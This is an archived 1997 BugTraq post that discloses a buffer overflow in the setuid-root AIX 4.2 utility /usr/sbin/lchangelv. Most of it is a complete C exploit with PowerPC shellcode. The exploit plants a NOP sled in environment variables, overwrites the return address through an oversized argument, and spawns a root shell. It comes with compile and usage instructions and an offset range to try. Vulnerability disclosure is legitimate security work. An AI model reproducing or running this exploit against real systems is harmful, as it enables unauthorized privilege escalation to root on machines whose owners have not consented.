AIX /usr/sbin/lchangelv overflow

Date: Mon, 21 Jul 1997 00:34:14 -0500
From: "Bryan P. Self" <bryan@SCOTT.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: AIX lchangelv (Exploit)

   There is a buffer overflow problem in
   /usr/sbin/lchangelv on AIX 4.2 systems.
   However, the attacker must have the
   gid or egid of (system) in order to
   execute /usr/sbin/lchangelv.


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/*
 *
 *   /usr/sbin/lchangelv (kinda' coded) by BeastMaster V
 *
 *   CREDITS: this is simply a modified version of an exploit
 *   posted by Georgi Guninski (guninski@hotmail.com)
 *
 *   NOTES: you must have gid or egid of (system) to run this.
 *
 *
 *   This will give a #rootshell# by overwriting a buffer
 *   /usr/sbin/lchangelv while lchangelv is setuid to root.
 *   This exploit is designed for AIX 4.x on PPC platform.
 *
 *
 *   USAGE:
 *            $ cc -o foo -g aix_lchangelv.c
 *            $ ./foo 5100
 *            #
 *
 *
 *   HINT: Try giving ranges from 5090 through 5500
 *
 *   DISCLAIMER: use this program in a responsible manner.
 *
 *   --> don't forget to visit http://www.rootshell.com
 *   --> for more goodies :-)
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

extern int execv();

#define MAXBUF 600

unsigned int code[]={
        0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
        0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
        0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
        0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
        0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
        0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
        char *c;
        int l;

        l=strlen(name)+strlen(value)+4;
        if (! (c=malloc(l))) {perror("error allocating");exit(2);};
        strcpy(c,name);
        strcat(c,"=");
        strcat(c,value);
        putenv(c);
        return c;
}

main(int argc,char **argv,char **env)
{
        unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
        int min=100, max=280;
        unsigned int return_address;
        char *newenv[8];
        char *args[4];
        int offset=3200;

        if (argc==2) offset = atoi(argv[1]);

        pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

        *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
        *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
        *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
        *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

        return_address=(unsigned)&buf[0]+offset;

        for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
        strcpy((char*)&buf[nop],(char*)&code);
        i=nop+strlen( (char*) &code)/4-1;

        for(i=0;i<max-1;i++) frame[i]=return_address;
        frame[i]=0;

        newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
        newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
        newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
        newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
        newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
        newenv[5]=NULL;

        args[0]="lchangelv";
        args[1]="-l";
        args[2]=(char*)&frame[0];
        execve("/usr/sbin/lchangelv",args,newenv);
        perror("Error executing execve \n");

}
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